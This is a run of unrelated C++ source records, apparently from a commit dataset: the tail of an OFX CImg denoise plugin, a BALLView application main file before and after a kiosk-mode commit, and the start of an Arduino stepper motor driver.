kSupportsMultiResolution 1\n#define kSupportsRenderScale 1\n#define kRenderThreadSafety eRenderFullySafe\n#define kHostFrameThreading true\n#define kSupportsRGBA true\n#define kSupportsRGB true\n#define kSupportsAlpha true\n\n#define kParamSigmaS \"sigma_s\"\n#define kParamSigmaSLabel \"Sigma_s\"\n#define kParamSigmaSHint \"Standard deviation of the spatial kernel, in pixel units (>=0).\"\n#define kParamSigmaSDefault 10.0\n\n#define kParamSigmaR \"sigma_r\"\n#define kParamSigmaRLabel \"Sigma_r\"\n#define kParamSigmaRHint \"Standard deviation of the range kernel, in intensity units (>=0).\"\n#define kParamSigmaRDefault 0.05\n\n#define kParamPatchSize \"psize\"\n#define kParamPatchSizeLabel \"Patch Size\"\n#define kParamPatchSizeHint \"Size of the patchs, in pixels (>=0).\"\n#define kParamPatchSizeDefault 5\n\n#define kParamLookupSize \"lsize\"\n#define kParamLookupSizeLabel \"Lookup Size\"\n#define kParamLookupSizeHint \"Size of the window to search similar patchs, in pixels (>=0).\"\n#define kParamLookupSizeDefault 6\n\n#define kParamSmoothness \"smoothness\"\n#define kParamSmoothnessLabel \"Smoothness\"\n#define kParamSmoothnessHint \"Smoothness for the patch comparison, in pixels (>=0).\"\n#define kParamSmoothnessDefault 1.\n\n#define kParamFastApprox \"is_fast_approximation\"\n#define kParamFastApproxLabel \"fast Approximation\"\n#define kParamFastApproxHint \"Tells if a fast approximation of the gaussian function is used or not\"\n#define kParamFastApproxDafault true\n\nusing namespace OFX;\n\n\/\/\/ Denoise plugin\nstruct CImgDenoiseParams\n{\n    double sigma_s;\n    double sigma_r;\n    int psize;\n    int lsize;\n    double smoothness;\n    bool fast_approx;\n};\n\nclass CImgDenoisePlugin : public CImgFilterPluginHelper<CImgDenoiseParams>\n{\npublic:\n\n    CImgDenoisePlugin(OfxImageEffectHandle handle)\n    : CImgFilterPluginHelper<CImgDenoiseParams>(handle, kSupportsRenderScale)\n    {\n        _sigma_s  = fetchDoubleParam(kParamSigmaS);\n        _sigma_r  = fetchDoubleParam(kParamSigmaR);\n        _psize = fetchIntParam(kParamPatchSize);\n        _lsize = fetchIntParam(kParamLookupSize);\n        _smoothness = fetchDoubleParam(kParamSmoothness);\n        _fast_approx = fetchBooleanParam(kParamFastApprox);\n        assert(_sigma_s && _sigma_r);\n    }\n\n    virtual void getValuesAtTime(double time, CImgDenoiseParams& params) OVERRIDE FINAL\n    {\n        _sigma_s->getValueAtTime(time, params.sigma_s);\n        _sigma_r->getValueAtTime(time, params.sigma_r);\n        _psize->getValueAtTime(time, params.psize);\n        _lsize->getValueAtTime(time, params.lsize);\n        _smoothness->getValueAtTime(time, params.smoothness);\n        _fast_approx->getValueAtTime(time, params.fast_approx);\n    }\n\n    \/\/ compute the roi required to compute rect, given params. This roi is then intersected with the image rod.\n    \/\/ only called if mix != 0.\n    virtual void getRoI(const OfxRectI rect, const OfxPointD& renderScale, const CImgDenoiseParams& params, OfxRectI* roi) OVERRIDE FINAL\n    {\n        int delta_pix = std::ceil((params.sigma_s * 4.) * renderScale.x) + std::ceil(params.psize * renderScale.x) + std::ceil(params.lsize * renderScale.x);\n        roi->x1 = rect.x1 - delta_pix;\n        roi->x2 = rect.x2 + delta_pix;\n        roi->y1 = rect.y1 - delta_pix;\n        roi->y2 = rect.y2 + delta_pix;\n    }\n\n    virtual void render(const OFX::RenderArguments &args, const CImgDenoiseParams& params, int x1, int y1, cimg_library::CImg<float>& cimg) OVERRIDE FINAL\n    {\n        \/\/ PROCESSING.\n        \/\/ This is the only place where the actual processing takes place\n        cimg.blur_patch(params.sigma_s * args.renderScale.x, params.sigma_r, std::ceil(params.psize * args.renderScale.x), std::ceil(params.lsize * args.renderScale.x), params.smoothness * args.renderScale.x, params.fast_approx);\n    }\n\n    virtual bool isIdentity(const CImgDenoiseParams& params) OVERRIDE FINAL\n    {\n        return (params.sigma_r == 0. && params.sigma_r == 0.);\n    };\n\nprivate:\n\n    \/\/ params\n    OFX::DoubleParam *_sigma_s;\n    OFX::DoubleParam *_sigma_r;\n    OFX::IntParam *_psize;\n    OFX::IntParam *_lsize;\n    OFX::DoubleParam *_smoothness;\n    OFX::BooleanParam *_fast_approx;\n};\n\n\nmDeclarePluginFactory(CImgDenoisePluginFactory, {}, {});\n\nvoid CImgDenoisePluginFactory::describe(OFX::ImageEffectDescriptor& desc)\n{\n    \/\/ basic labels\n    desc.setLabels(kPluginName, kPluginName, kPluginName);\n    desc.setPluginGrouping(kPluginGrouping);\n    desc.setPluginDescription(kPluginDescription);\n\n    \/\/ add supported context\n    desc.addSupportedContext(eContextFilter);\n    desc.addSupportedContext(eContextGeneral);\n\n    \/\/ add supported pixel depths\n    \/\/desc.addSupportedBitDepth(eBitDepthUByte);\n    \/\/desc.addSupportedBitDepth(eBitDepthUShort);\n    desc.addSupportedBitDepth(eBitDepthFloat);\n\n    \/\/ set a few flags\n    desc.setSingleInstance(false);\n    desc.setHostFrameThreading(kHostFrameThreading);\n    desc.setSupportsMultiResolution(kSupportsMultiResolution);\n    desc.setSupportsTiles(kSupportsTiles);\n    desc.setTemporalClipAccess(false);\n    desc.setRenderTwiceAlways(true);\n    desc.setSupportsMultipleClipPARs(false);\n    desc.setRenderThreadSafety(kRenderThreadSafety);\n}\n\nvoid CImgDenoisePluginFactory::describeInContext(OFX::ImageEffectDescriptor& desc, OFX::ContextEnum context)\n{\n    \/\/ create the clips and params\n    OFX::PageParamDescriptor *page = CImgDenoisePlugin::describeInContextBegin(desc, context,\n                                                                              kSupportsRGBA,\n                                                                              kSupportsRGB,\n                                                                              kSupportsAlpha,\n                                                                              kSupportsTiles);\n\n    {\n        OFX::DoubleParamDescriptor *param = desc.defineDoubleParam(kParamSigmaS);\n        param->setLabels(kParamSigmaSLabel, kParamSigmaSLabel, kParamSigmaSLabel);\n        param->setHint(kParamSigmaSHint);\n        param->setRange(0, 1000);\n        param->setDefault(kParamSigmaSDefault);\n        param->setIncrement(0.1);\n        page->addChild(*param);\n    }\n    {\n        OFX::DoubleParamDescriptor *param = desc.defineDoubleParam(kParamSigmaR);\n        param->setLabels(kParamSigmaRLabel, kParamSigmaRLabel, kParamSigmaRLabel);\n        param->setHint(kParamSigmaRHint);\n        param->setRange(0, 10.0);\n        param->setDefault(kParamSigmaRDefault);\n        param->setIncrement(0.005);\n        page->addChild(*param);\n    }\n    {\n        OFX::IntParamDescriptor *param = desc.defineIntParam(kParamPatchSize);\n        param->setLabels(kParamPatchSizeLabel, kParamPatchSizeLabel, kParamPatchSizeLabel);\n        param->setHint(kParamPatchSizeHint);\n        param->setRange(0, 1000);\n        param->setDisplayRange(0, 25);\n        param->setDefault(kParamPatchSizeDefault);\n        page->addChild(*param);\n    }\n    {\n        OFX::IntParamDescriptor *param = desc.defineIntParam(kParamLookupSize);\n        param->setLabels(kParamLookupSizeLabel, kParamLookupSizeLabel, kParamLookupSizeLabel);\n        param->setHint(kParamLookupSizeHint);\n        param->setRange(0, 1000);\n        param->setDisplayRange(0, 25);\n        param->setDefault(kParamLookupSizeDefault);\n        page->addChild(*param);\n    }\n    {\n        OFX::DoubleParamDescriptor *param = desc.defineDoubleParam(kParamSmoothness);\n        param->setLabels(kParamSmoothnessLabel, kParamSmoothnessLabel, kParamSmoothnessLabel);\n        param->setHint(kParamSmoothnessHint);\n        param->setRange(0, 1000);\n        param->setDisplayRange(0, 25);\n        param->setDefault(kParamSmoothnessDefault);\n        page->addChild(*param);\n    }\n    {\n        OFX::BooleanParamDescriptor *param = desc.defineBooleanParam(kParamFastApprox);\n        param->setLabels(kParamFastApproxLabel, kParamFastApproxLabel, kParamFastApproxLabel);\n        param->setHint(kParamFastApproxHint);\n        param->setDefault(kParamFastApproxDafault);\n        page->addChild(*param);\n    }\n\n    CImgDenoisePlugin::describeInContextEnd(desc, context, page);\n}\n\nOFX::ImageEffect* CImgDenoisePluginFactory::createInstance(OfxImageEffectHandle handle, OFX::ContextEnum context)\n{\n    return new CImgDenoisePlugin(handle);\n}\n\n\nvoid getCImgDenoisePluginID(OFX::PluginFactoryArray &ids)\n{\n    static CImgDenoisePluginFactory p(kPluginIdentifier, kPluginVersionMajor, kPluginVersionMinor);\n    ids.push_back(&p);\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ -*- Mode: C++; tab-width: 2; -*-\n\/\/ vi: set ts=2:\n\/\/\n\n\/\/ order of includes is important: first qapplication, than BALL includes\n#include <QtGui\/QApplication>\n#include <BALL\/CONFIG\/config.h>\n\n#ifdef BALL_HAS_GLEW\n#\tinclude <GL\/glew.h>\n#endif\n\n#include <QtCore\/QLocale>\n#include <QtCore\/QTranslator>\n\n#include <QtGui\/QMessageBox>\n#include <QtGui\/QSplashScreen>\n#include <QtOpenGL\/qgl.h>\n\n#include \"mainframe.h\"\n#include <BALL\/SYSTEM\/path.h>\n#include <BALL\/SYSTEM\/directory.h>\n#include <BALL\/FORMAT\/INIFile.h>\n#include <BALL\/SYSTEM\/fileSystem.h>\n#include <BALL\/COMMON\/logStream.h>\n\n#include <BALL\/VIEW\/KERNEL\/UIOperationMode.h>\n\n#include <iostream>\n\n#ifdef Q_WS_X11\n#include <X11\/Xlib.h>\n#endif\n\nvoid logMessages(QtMsgType type, const char *msg)\n{\n\tBALL::String s(msg);\n\tif (s.hasPrefix(\"QTextBrowser\")) return;\n\n\tswitch ( type ) {\n\t\tcase QtDebugMsg:\n\t\t\t\tBALL::Log.info() << msg << std::endl;\n\t\t\t\tbreak;\n\t\tcase QtWarningMsg:\n\t\t\t\tBALL::Log.warn() << msg << std::endl;\n\t\t\t\tbreak;\n\t\tcase QtFatalMsg:\n\t\t\t\tfprintf( stderr, \"Fatal: %s\\n\", msg );\n\t\t\t\tabort();                    \/\/ deliberately core dump\n\t\tcase QtCriticalMsg:\n\t\t\t\tfprintf( stderr, \"Critical: %s\\n\", msg );\n\t\t\t\tabort();                    \/\/ deliberately core dump\n\t}\n}\n\n\n\/\/ uncomment this to use debugging to std::cout!\n\/\/#undef BALL_OS_WINDOWS\n\n#ifndef BALL_OS_WINDOWS\nint main(int argc, char **argv)\n{\n#else\nint WINAPI WinMain(HINSTANCE, HINSTANCE, PSTR cmd_line, int)\n{\n\tint argc = __argc;\n\tchar** argv = __argv;\n#endif\n\n#ifdef Q_WS_X11\n    XInitThreads();\n#endif\n\n\tqInstallMsgHandler(logMessages);\n\n\tputenv(\"BALL_RETURN_VALUE=\");\n\tQApplication application(argc, argv);\n\n\tQStringList arguments = application.arguments();\n\tQStringList::const_iterator arg_it;\n\n\tbool kiosk_mode = false;\n\tfor (arg_it = arguments.constBegin(); arg_it != arguments.constEnd(); ++arg_it)\n\t{\n\t\tif (arg_it->toLocal8Bit() == \"-kiosk\")\n\t\t{\n\t\t\tkiosk_mode = true;\n\t\t}\n\t}\n\n\tif (kiosk_mode)\n\t{\n\t\tBALL::VIEW::UIOperationMode::instance().setMode(BALL::VIEW::UIOperationMode::MODE_KIOSK);\n\t}\n\n  QPixmap splash_pm(\":BALLView-1.4-Splashscreen.png\");\n  QSplashScreen* splash = new QSplashScreen(splash_pm);\n  splash->show();\n\n\t\/\/ =============== testing for opengl support ======================================\n\tif (!QGLFormat::hasOpenGL())\n\t{\n\t\tQMessageBox::critical(0, \"Error while starting BALLView\", \n\t\t\t\t\"Your computer has no OpenGL support, please install the correct drivers. Aborting for now...\",\n\t\t\t\tQMessageBox::Ok, Qt::NoButton, Qt::NoButton);\n\t\treturn -1;\n\t}\n\n\tBALL::String home_dir = BALL::Directory::getUserHomeDir();\n\n\t\/\/ =============== load translations =====================\n\tBALL::INIFile f(home_dir + BALL::FileSystem::PATH_SEPARATOR + \".BALLView\");\n\tf.read();\n\n\tif (f.hasEntry(\"GENERAL\", \"language\")) \n\t{\n\t\tQString str = f.getValue(\"GENERAL\", \"language\").c_str();\n\n\t\tif (!(str == \"Default\")) \n\t\t{\n\t\t\tQString loc = \"BALLView.\" + str;\n\n\t\t\tBALL::Path p;\n\t\t\tQStringList dpaths = QString(p.getDataPath().c_str()).split(\"\\n\");\n\n\t\t\tQTranslator* translator = new QTranslator(&application);\n\t\t\tforeach(QString str, dpaths) \n\t\t\t{\n\t\t\t\ttranslator->load(loc, str + \"BALLView\/translations\");\n\t\t\t\tif (!translator->isEmpty()) \n\t\t\t\t{\n\t\t\t\t\tQCoreApplication::installTranslator(translator);\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\t\/\/ =============== testing if we can write in current directory =====================\n\tif (home_dir == \"\")\n\t{\n\t\ttry\n\t\t{\n\t\t\tBALL::String temp_file_name;\n\t\t\tBALL::File::createTemporaryFilename(temp_file_name);\n\t\t\tBALL::File out(temp_file_name, std::ios::out);\n\t\t\tout << \"test\" << std::endl;\n\t\t\tout.remove();\n\t\t}\n\t\tcatch(...)\n\t\t{\n\t\t\tQMessageBox::warning(0, \"Error while starting BALLView\",\n\t\t\t\t\tQString(\"You dont have write access to the current working directory\\n\") + \n\t\t\t\t\t\"and BALLView can not find your home directory. This can cause\\n\" + \n\t\t\t\t\t\"unexpected behaviour. Please start BALLView from your homedir with\\n\" + \n\t\t\t\t\t\"absolute path (e.g. C:\\\\Programs\\\\BALLView\\\\BALLView).\\n\");\n\t\t}\n\t}\n\n\t\/\/ =============== initialize Mainframe ============================================\n\t\/\/ Create the mainframe.\n\tBALL::Mainframe mainframe(0, \"Mainframe\");\n\n\t\/\/ can we use the users homedir as working dir?\n\tif (home_dir != \"\")\n\t{\n\t\tmainframe.setWorkingDir(home_dir);\n\t}\n\n\t\/\/ Register the mainfram (required for Python support).\n\tmainframe.setIdentifier(\"Mainframe\");\n\tmainframe.registerThis();\n\n\t\/\/ Show the main window.\n\tmainframe.show();\n\n\t\/\/ =============== parsing command line arguments ==================================\n\t\/\/ If there are additional command line arguments, interpret them as files to open or logging flag.\n\tfor (BALL::Index i = 1; i < argc; ++i)\n\t{\n\t\tBALL::String argument(argv[i]);\n\t\tif (argument == \"-l\") \n\t\t{\n\t\t\tmainframe.enableLoggingToFile();\n\t\t\tcontinue;\n\t\t}\n\t\telse if (argument == \"-kiosk\")\n\t\t{\n\t\t\t\/\/ the kiosk mode has already been handled\n\t\t\tcontinue;\n\t\t}\n\n\t\tmainframe.openFile(argument);\n\t}\n\n\t\/\/ enable ending of program from python script\n\tif (mainframe.isAboutToQuit()) \n\t{\n\t\tmainframe.aboutToExit();\n\t\treturn 0;\n\t}\n\t\n\t\/\/ Remove the splashscreen\n\tsplash->finish(&mainframe);\n\tdelete splash;\n\t\n\t\/\/ Hand over control to the application.\n\tint value = application.exec();\n\tchar*\treturn_value = getenv(\"BALL_RETURN_VALUE\");\n\tif (return_value != 0)\n\t{\n\t\ttry\n\t\t{\n\t\t\tvalue = BALL::String(return_value).toInt();\n\t\t}\n\t\tcatch(...)\n\t\t{\n\t\t}\n\t}\n\n\treturn value;\n}\n<commit_msg>First Usage of UIOperationMode: cancel User menu in Kiosk mode<commit_after>\/\/ -*- Mode: C++; tab-width: 2; -*-\n\/\/ vi: set ts=2:\n\/\/\n\n\/\/ order of includes is important: first qapplication, than BALL includes\n#include <QtGui\/QApplication>\n#include <BALL\/CONFIG\/config.h>\n\n#ifdef BALL_HAS_GLEW\n#\tinclude <GL\/glew.h>\n#endif\n\n#include <QtCore\/QLocale>\n#include <QtCore\/QTranslator>\n\n#include <QtGui\/QMessageBox>\n#include <QtGui\/QSplashScreen>\n#include <QtOpenGL\/qgl.h>\n\n#include \"mainframe.h\"\n#include <BALL\/SYSTEM\/path.h>\n#include <BALL\/SYSTEM\/directory.h>\n#include <BALL\/FORMAT\/INIFile.h>\n#include <BALL\/SYSTEM\/fileSystem.h>\n#include <BALL\/COMMON\/logStream.h>\n\n#include <BALL\/VIEW\/KERNEL\/UIOperationMode.h>\n\n#include <iostream>\n\n#ifdef Q_WS_X11\n#include <X11\/Xlib.h>\n#endif\n\nvoid logMessages(QtMsgType type, const char *msg)\n{\n\tBALL::String s(msg);\n\tif (s.hasPrefix(\"QTextBrowser\")) return;\n\n\tswitch ( type ) {\n\t\tcase QtDebugMsg:\n\t\t\t\tBALL::Log.info() << msg << std::endl;\n\t\t\t\tbreak;\n\t\tcase QtWarningMsg:\n\t\t\t\tBALL::Log.warn() << msg << std::endl;\n\t\t\t\tbreak;\n\t\tcase QtFatalMsg:\n\t\t\t\tfprintf( stderr, \"Fatal: %s\\n\", msg );\n\t\t\t\tabort();                    \/\/ deliberately core dump\n\t\tcase QtCriticalMsg:\n\t\t\t\tfprintf( stderr, \"Critical: %s\\n\", msg );\n\t\t\t\tabort();                    \/\/ deliberately core dump\n\t}\n}\n\n\n\/\/ uncomment this to use debugging to std::cout!\n\/\/#undef BALL_OS_WINDOWS\n\n#ifndef BALL_OS_WINDOWS\nint main(int argc, char **argv)\n{\n#else\nint WINAPI WinMain(HINSTANCE, HINSTANCE, PSTR cmd_line, int)\n{\n\tint argc = __argc;\n\tchar** argv = __argv;\n#endif\n\n#ifdef Q_WS_X11\n    XInitThreads();\n#endif\n\n\tqInstallMsgHandler(logMessages);\n\n\tputenv(\"BALL_RETURN_VALUE=\");\n\tQApplication application(argc, argv);\n\n\tQStringList arguments = application.arguments();\n\tQStringList::const_iterator arg_it;\n\n\tbool kiosk_mode = false;\n\tfor (arg_it = arguments.constBegin(); arg_it != arguments.constEnd(); ++arg_it)\n\t{\n\t\tif (arg_it->toLocal8Bit() == \"-kiosk\")\n\t\t{\n\t\t\tkiosk_mode = true;\n\t\t}\n\t}\n\n\tif (kiosk_mode)\n\t{\n\t\tBALL::VIEW::UIOperationMode::instance().setMode(BALL::VIEW::UIOperationMode::MODE_KIOSK);\n\t}\n\n\tstd::cout << BALL::VIEW::UIOperationMode::instance().getMode() << std::endl;\n\n  QPixmap splash_pm(\":BALLView-1.4-Splashscreen.png\");\n  QSplashScreen* splash = new QSplashScreen(splash_pm);\n  splash->show();\n\n\t\/\/ =============== testing for opengl support ======================================\n\tif (!QGLFormat::hasOpenGL())\n\t{\n\t\tQMessageBox::critical(0, \"Error while starting BALLView\", \n\t\t\t\t\"Your computer has no OpenGL support, please install the correct drivers. Aborting for now...\",\n\t\t\t\tQMessageBox::Ok, Qt::NoButton, Qt::NoButton);\n\t\treturn -1;\n\t}\n\n\tBALL::String home_dir = BALL::Directory::getUserHomeDir();\n\n\t\/\/ =============== load translations =====================\n\tBALL::INIFile f(home_dir + BALL::FileSystem::PATH_SEPARATOR + \".BALLView\");\n\tf.read();\n\n\tif (f.hasEntry(\"GENERAL\", \"language\")) \n\t{\n\t\tQString str = f.getValue(\"GENERAL\", \"language\").c_str();\n\n\t\tif (!(str == \"Default\")) \n\t\t{\n\t\t\tQString loc = \"BALLView.\" + str;\n\n\t\t\tBALL::Path p;\n\t\t\tQStringList dpaths = QString(p.getDataPath().c_str()).split(\"\\n\");\n\n\t\t\tQTranslator* translator = new QTranslator(&application);\n\t\t\tforeach(QString str, dpaths) \n\t\t\t{\n\t\t\t\ttranslator->load(loc, str + \"BALLView\/translations\");\n\t\t\t\tif (!translator->isEmpty()) \n\t\t\t\t{\n\t\t\t\t\tQCoreApplication::installTranslator(translator);\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\t\/\/ =============== testing if we can write in current directory =====================\n\tif (home_dir == \"\")\n\t{\n\t\ttry\n\t\t{\n\t\t\tBALL::String temp_file_name;\n\t\t\tBALL::File::createTemporaryFilename(temp_file_name);\n\t\t\tBALL::File out(temp_file_name, std::ios::out);\n\t\t\tout << \"test\" << std::endl;\n\t\t\tout.remove();\n\t\t}\n\t\tcatch(...)\n\t\t{\n\t\t\tQMessageBox::warning(0, \"Error while starting BALLView\",\n\t\t\t\t\tQString(\"You dont have write access to the current working directory\\n\") + \n\t\t\t\t\t\"and BALLView can not find your home directory. This can cause\\n\" + \n\t\t\t\t\t\"unexpected behaviour. Please start BALLView from your homedir with\\n\" + \n\t\t\t\t\t\"absolute path (e.g. C:\\\\Programs\\\\BALLView\\\\BALLView).\\n\");\n\t\t}\n\t}\n\n\t\/\/ =============== initialize Mainframe ============================================\n\t\/\/ Create the mainframe.\n\tBALL::Mainframe mainframe(0, \"Mainframe\");\n\n\t\/\/ can we use the users homedir as working dir?\n\tif (home_dir != \"\")\n\t{\n\t\tmainframe.setWorkingDir(home_dir);\n\t}\n\n\t\/\/ Register the mainfram (required for Python support).\n\tmainframe.setIdentifier(\"Mainframe\");\n\tmainframe.registerThis();\n\n\t\/\/ Show the main window.\n\tmainframe.show();\n\n\t\/\/ =============== parsing command line arguments ==================================\n\t\/\/ If there are additional command line arguments, interpret them as files to open or logging flag.\n\tfor (BALL::Index i = 1; i < argc; ++i)\n\t{\n\t\tBALL::String argument(argv[i]);\n\t\tif (argument == \"-l\") \n\t\t{\n\t\t\tmainframe.enableLoggingToFile();\n\t\t\tcontinue;\n\t\t}\n\t\telse if (argument == \"-kiosk\")\n\t\t{\n\t\t\t\/\/ the kiosk mode has already been handled\n\t\t\tcontinue;\n\t\t}\n\n\t\tmainframe.openFile(argument);\n\t}\n\n\t\/\/ enable ending of program from python script\n\tif (mainframe.isAboutToQuit()) \n\t{\n\t\tmainframe.aboutToExit();\n\t\treturn 0;\n\t}\n\t\n\t\/\/ Remove the splashscreen\n\tsplash->finish(&mainframe);\n\tdelete splash;\n\t\n\t\/\/ Hand over control to the application.\n\tint value = application.exec();\n\tchar*\treturn_value = getenv(\"BALL_RETURN_VALUE\");\n\tif (return_value != 0)\n\t{\n\t\ttry\n\t\t{\n\t\t\tvalue = BALL::String(return_value).toInt();\n\t\t}\n\t\tcatch(...)\n\t\t{\n\t\t}\n\t}\n\n\treturn value;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Generic Stepper Motor Driver Driver\n * Indexer mode only.\n\n * Copyright (C)2015-2017 Laurentiu Badea\n *\n * This file may be redistributed under the terms of the MIT license.\n * A copy of this license has been included with this distribution in the file LICENSE.\n *\n * Linear speed profile calculations based on\n * - Generating stepper-motor speed profiles in real time - David Austin, 2004\n * - Atmel AVR446: Linear speed control of stepper motor, 2006\n *\/\n#include \"BasicStepperDriver.h\"\n\n\/*\n * Basic connection: only DIR, STEP are connected.\n * Microstepping controls should be hardwired.\n *\/\nBasicStepperDriver::BasicStepperDriver(short steps, short dir_pin, short step_pin)\n:motor_steps(steps), dir_pin(dir_pin), step_pin(step_pin)\n{\n\tsteps_to_cruise = 0;\n\tsteps_remaining = 0;\n\tdir_state = 0;\n\tsteps_to_brake = 0;\n\tstep_pulse = 0;\n\trest = 0;\n\tstep_count = 0;\n}\n\nBasicStepperDriver::BasicStepperDriver(short steps, short dir_pin, short step_pin, short enable_pin)\n:motor_steps(steps), dir_pin(dir_pin), step_pin(step_pin), enable_pin(enable_pin)\n{\n\tsteps_to_cruise = 0;\n\tsteps_remaining = 0;\n\tdir_state = 0;\n\tsteps_to_brake = 0;\n\tstep_pulse = 0;\n\trest = 0;\n\tstep_count = 0;\n}\n\n\/*\n * Initialize pins, calculate timings etc\n *\/\nvoid BasicStepperDriver::begin(short rpm, short microsteps){\n    pinMode(dir_pin, OUTPUT);\n    digitalWrite(dir_pin, HIGH);\n\n    pinMode(step_pin, OUTPUT);\n    digitalWrite(step_pin, LOW);\n\n    if IS_CONNECTED(enable_pin){\n        pinMode(enable_pin, OUTPUT);\n        digitalWrite(enable_pin, HIGH); \/\/ disable\n    }\n\n    this->rpm = rpm;\n    setMicrostep(microsteps);\n\n    enable();\n}\n\n\/*\n * Set target motor RPM (1-200 is a reasonable range)\n *\/\nvoid BasicStepperDriver::setRPM(short rpm){\n    if (this->rpm == 0){        \/\/ begin() has not been called (old 1.0 code)\n        begin(rpm, microsteps);\n    }\n    this->rpm = rpm;\n}\n\n\/*\n * Set stepping mode (1:microsteps)\n * Allowed ranges for BasicStepperDriver are 1:1 to 1:128\n *\/\nshort BasicStepperDriver::setMicrostep(short microsteps){\n    for (short ms=1; ms <= getMaxMicrostep(); ms<<=1){\n        if (microsteps == ms){\n            this->microsteps = microsteps;\n            break;\n        }\n    }\n    return this->microsteps;\n}\n\n\/*\n * Set speed profile - CONSTANT_SPEED, LINEAR_SPEED (accelerated)\n * accel and decel are given in [full steps\/s^2]\n *\/\nvoid BasicStepperDriver::setSpeedProfile(Mode mode, short accel, short decel){\n    profile.mode = mode;\n    profile.accel = accel;\n    profile.decel = decel;\n}\nvoid BasicStepperDriver::setSpeedProfile(struct Profile profile){\n    this->profile = profile;\n}\n\n\/*\n * Move the motor a given number of steps.\n * positive to move forward, negative to reverse\n *\/\nvoid BasicStepperDriver::move(long steps){\n    startMove(steps);\n    while (nextAction());\n}\n\/*\n * Move the motor a given number of degrees (1-360)\n *\/\nvoid BasicStepperDriver::rotate(long deg){\n    move(calcStepsForRotation(deg));\n}\n\/*\n * Move the motor with sub-degree precision.\n * Note that using this function even once will add 1K to your program size\n * due to inclusion of float support.\n *\/\nvoid BasicStepperDriver::rotate(double deg){\n    move(calcStepsForRotation(deg));\n}\n\n\/*\n * Set up a new move or alter an active move (calculate and save the parameters)\n *\/\nvoid BasicStepperDriver::startMove(long steps){\n    long speed;\n    if (steps_remaining){\n        alterMove(steps);\n    } else {\n        \/\/ set up new move\n        dir_state = (steps >= 0) ? HIGH : LOW;\n        last_action_end = 0;\n        steps_remaining = abs(steps);\n        step_count = 0;\n        rest = 0;\n        switch (profile.mode){\n        case LINEAR_SPEED:\n            \/\/ speed is in [steps\/s]\n            speed = rpm * motor_steps \/ 60;\n            \/\/ how many steps from 0 to target rpm\n            steps_to_cruise = speed * speed * microsteps \/ (2 * profile.accel);\n            \/\/ how many steps are needed from target rpm to a full stop\n            steps_to_brake = steps_to_cruise * profile.accel \/ profile.decel;\n            if (steps_remaining < steps_to_cruise + steps_to_brake){\n                \/\/ cannot reach max speed, will need to brake early\n                steps_to_cruise = steps_remaining * profile.decel \/ (profile.accel + profile.decel);\n                steps_to_brake = steps_remaining - steps_to_cruise;\n            }\n            \/\/ Initial pulse (c0) including error correction factor 0.676 [us]\n            step_pulse = (1e+6)*0.676*sqrt(2.0f\/(profile.accel*microsteps));\n            break;\n    \n        case CONSTANT_SPEED:\n        default:\n            step_pulse = STEP_PULSE(rpm, motor_steps, microsteps);\n            steps_to_cruise = 0;\n            steps_to_brake = 0;\n        }\n    }\n}\n\/*\n * Alter a running move by adding\/removing steps\n * FIXME: This is a naive implementation and it only works well in CRUISING state\n *\/\nvoid BasicStepperDriver::alterMove(long steps){\n    switch (getCurrentState()){\n    case ACCELERATING: \/\/ this also works but will keep the original speed target\n    case CRUISING:\n        if (steps >= 0){\n            steps_remaining += steps;\n        } else {\n            steps_remaining = max(steps_to_brake, steps_remaining+steps);\n        };\n        break;\n    case DECELERATING:\n        \/\/ would need to start accelerating again -- NOT IMPLEMENTED\n        break;\n    case STOPPED:\n        startMove(steps);\n        break;\n    }\n}\n\/*\n * Brake early.\n *\/\nvoid BasicStepperDriver::startBrake(void){\n    switch (getCurrentState()){\n    case CRUISING:  \/\/ this applies to both CONSTANT_SPEED and LINEAR_SPEED modes\n        steps_remaining = steps_to_brake;\n        break;\n\n    case ACCELERATING:\n        steps_remaining = step_count * profile.accel \/ profile.decel;\n        break;\n\n    default:\n        break; \/\/ nothing to do if already stopped or braking\n    }\n}\n\/*\n * Stop movement immediately.\n *\/\nvoid BasicStepperDriver::stop(void){\n    steps_remaining = 0;\n}\n\/*\n * Return calculated time to complete the given move\n *\/\nlong BasicStepperDriver::getTimeForMove(long steps){\n    long t;\n    switch (profile.mode){\n        case LINEAR_SPEED:\n            startMove(steps);\n            t = sqrt(2 * steps_to_cruise \/ profile.accel) + \n                (steps_remaining - steps_to_cruise - steps_to_brake) * STEP_PULSE(rpm, motor_steps, microsteps) +\n                sqrt(2 * steps_to_brake \/ profile.decel);\n            break;\n        case CONSTANT_SPEED:\n        default:\n            t = steps * STEP_PULSE(rpm, motor_steps, microsteps);\n    }\n    return t;\n}\n\/*\n * Move the motor an integer number of degrees (360 = full rotation)\n * This has poor precision for small amounts, since step is usually 1.8deg\n *\/\nvoid BasicStepperDriver::startRotate(long deg){\n    startMove(calcStepsForRotation(deg));\n}\n\/*\n * Move the motor with sub-degree precision.\n * Note that calling this function will increase program size substantially\n * due to inclusion of float support.\n *\/\nvoid BasicStepperDriver::startRotate(double deg){\n    startMove(calcStepsForRotation(deg));\n}\n\n\/*\n * calculate the interval til the next pulse\n *\/\nvoid BasicStepperDriver::calcStepPulse(void){\n    if (steps_remaining <= 0){  \/\/ this should not happen, but avoids strange calculations\n        return;\n    }\n\n    steps_remaining--;\n    step_count++;\n\n    if (profile.mode == LINEAR_SPEED){\n        switch (getCurrentState()){\n        case ACCELERATING:\n            step_pulse = step_pulse - (2*step_pulse+rest)\/(4*step_count+1);\n            rest = (step_count < steps_to_cruise) ? (2*step_pulse+rest) % (4*step_count+1) : 0;\n            break;\n\n        case DECELERATING:\n            step_pulse = step_pulse - (2*step_pulse+rest)\/(-4*steps_remaining+1);\n            rest = (2*step_pulse+rest) % (-4*steps_remaining+1);\n            break;\n\n        default:\n            break; \/\/ no speed changes\n        }\n    }\n}\n\/*\n * Yield to step control\n * Toggle step and return time until next change is needed (micros)\n *\/\nlong BasicStepperDriver::nextAction(void){\n    if (steps_remaining > 0){\n        delayMicros(next_action_interval, last_action_end);\n        \/*\n         * DIR pin is sampled on rising STEP edge, so it is set first\n         *\/\n        digitalWrite(dir_pin, dir_state);\n        digitalWrite(step_pin, HIGH);\n        unsigned m = micros();\n        unsigned long pulse = step_pulse; \/\/ save value because calcStepPulse() will overwrite it\n        calcStepPulse();\n        m = micros() - m;\n        \/\/ We should pull HIGH for 1-2us 